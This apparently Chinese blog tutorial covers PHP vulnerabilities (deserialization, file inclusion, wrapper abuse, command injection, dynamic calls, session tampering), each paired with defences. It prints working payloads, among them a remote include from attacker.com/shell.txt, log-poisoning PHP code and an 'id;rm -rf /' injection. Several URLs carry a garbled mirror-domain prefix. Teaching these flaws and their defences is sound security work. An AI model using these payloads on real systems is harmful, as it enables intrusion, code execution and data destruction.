PHP特有的安全漏洞及渗透测试利用方法(通俗易懂)

任何编程语言和软件项目,都会存在安全漏洞,只有漏洞利用成本的高低!

本文章仅提供学习,切勿将其用于不法手段!


一、反序列化漏洞(最常见也最危险)​

原理​:
PHP对象序列化后是二进制数据,反序列化时如果数据被篡改,可能执行恶意代码。就像你拆快递时,包裹里被塞了炸弹,一拆就炸。

渗透测试利用方法​:

  1. 生成恶意对象​:用PHP代码构造一个包含危险函数的对象(如system())。
    class Evil {
        public function __destruct() {
            system('calc.exe'); // 弹计算器
        }
    }
    $payload = serialize(new Evil());
  2. 构造请求​:将生成的payload作为参数传入目标程序的反序列化接口。
    curl http://target.com/?data=O:4:"Evil":0:{}
  3. 触发漏洞​:目标程序反序列化时,会直接执行calc.exe

防御​:

  • 升级PHP到最新版本(修复部分反序列化漏洞)。
  • 避免反序列化用户输入的数据,改用JSON等安全格式。
  • 在反序列化时检查类名白名单。

二、文件包含漏洞(LFI/RFI)​

原理​:
PHP的include()require()等函数如果未过滤用户输入,攻击者可以指定任意文件路径,甚至读取服务器敏感文件或执行远程代码。

渗透测试利用方法​:

  1. 本地文件包含(LFI)​​:

    • 读取配置文件:
      // 构造URL
      http://example.com/?file=php://filter/read=convert.base64-encode/resource=config.php
    • 日志文件注入:在日志中写入PHP代码,再包含日志文件执行。
      # 在请求头注入代码
      User-Agent: <?php system('id'); ?>
      然后访问日志文件路径触发执行。
  2. 远程文件包含(RFI)​​:

    // 构造URL
    http://example.com/?file=http://attacker.com/shell.txt

    需要服务器开启allow_url_include=On

防御​:

  • 关闭allow_url_includeallow_url_fopen
  • 设置open_basedir限制文件访问范围。
  • 对用户输入的文件名进行白名单校验。

三、PHP伪协议攻击

原理​:
PHP内置的伪协议(如php://inputdata://)允许直接处理输入流或内联代码,攻击者可利用其绕过过滤规则。

渗透测试利用方法​:

  1. php://input​:
    通过POST请求体直接注入PHP代码:

    POST /vuln.php?url=php://input HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    <?php system('whoami'); ?>

    需服务器开启allow_url_include=On

  2. data://​​:
    直接嵌入Base64编码的代码:

    http://example.com/?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

    解码后执行phpinfo()

防御​:

  • 禁用危险伪协议(如php://data://)。
  • 对输入内容进行严格过滤和转义。

四、命令注入漏洞

原理​:
PHP调用系统命令的函数(如system()exec())未过滤用户输入,导致拼接恶意命令。

渗透测试利用方法​:

// 漏洞代码
$user_input = $_GET['cmd'];
system("ping " . $user_input);

构造恶意输入:

http://example.com/?cmd=id;rm -rf /

执行id后继续执行删除命令。

防御​:

  • 使用escapeshellarg()转义参数。
  • 避免直接拼接用户输入到命令中,改用白名单校验。

五、动态函数调用漏洞

原理​:
PHP允许通过变量动态调用函数,如果变量可控,攻击者可指定危险函数。

渗透测试利用方法​:

// 漏洞代码
$func = $_GET['func'];
$func($_GET['arg']);

构造Payload:

http://example.com/?func=system&arg=id

触发执行system('id')

防御​:

  • 禁用危险函数(如systemeval)。
  • 对动态调用的函数名进行白名单限制。

六、Session反序列化漏洞

原理​:
PHP的Session数据默认序列化存储,如果攻击者能篡改Session文件,可触发恶意代码。

渗透测试利用方法​:

  1. 生成恶意Session数据:
    session_start();
    $_SESSION['evil'] = new EvilClass();
    session_write_close();
  2. 替换目标服务器的Session文件,触发__destruct()中的恶意操作。

防御​:

  • 设置session.save_path为不可写目录。
  • 对Session数据进行签名验证。

总结:PHP漏洞的“防身三招”

  1. 输入过滤​:所有用户输入必须白名单校验,过滤特殊字符(如../php://)。
  2. 关闭危险配置​:
    allow_url_include = Off
    allow_url_fopen = Off
    disable_functions = "eval,system,exec"
  3. 代码审计​:重点检查unserialize()include()等高风险函数的使用。

一句话口诀​:

输入要过滤,伪协议要小心,函数别乱调,日志勤检查!

注​:所有技术研究需遵循《网络安全法》及《数据安全法》相关规定,践行合法合规的网络安全技术探索

提示:最有效的防御办法,是让攻击者由于攻击成本过高,而主动放弃针对目标进行攻击!

没有攻不破的城墙,只有 由于 付出成本 远超于 收获价值 而 选择 主动放弃 攻击行为 的 敌人 !

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值